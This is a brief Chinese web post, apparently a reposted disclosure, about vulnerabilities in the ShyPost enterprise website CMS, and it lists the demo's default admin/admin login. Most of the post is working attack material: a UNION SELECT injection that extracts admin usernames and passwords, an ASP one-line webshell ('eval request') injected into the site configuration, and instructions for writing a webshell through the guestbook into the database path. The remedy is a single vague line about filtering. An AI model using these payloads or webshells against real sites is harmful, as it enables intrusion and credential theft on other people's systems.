shypostShyPost企业网站管理系统若干漏洞及修复 -

ShyPost企业管理系统拥有十几种模板，用户可自由选择，不同模板后台管理功能是一样的，以下　　为其中一个模板的前后台测试，欢迎用户测试。     　　后台演示：http://www.shypost.com/demo/admin 　　测试帐号：admin 密码admin 　　前台演示：http://www.shypost.com/demo 　　销售价格：350元/套     1、注入： union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from admin   拿shell: 网站配置中插入:"%><%eval request("a")%><%s="   连接http://www.2cto.com /inc/config. asp     2、写马： 留言本写入一句话，连接http://www.2cto.com /databases/databases.asp   3、其它若干问题 www.2cto.com提供修复： 注入则过滤，写马那还是过滤了

查看更多关于shypostShyPost企业网站管理系统若干漏洞及修复 -的详细内容...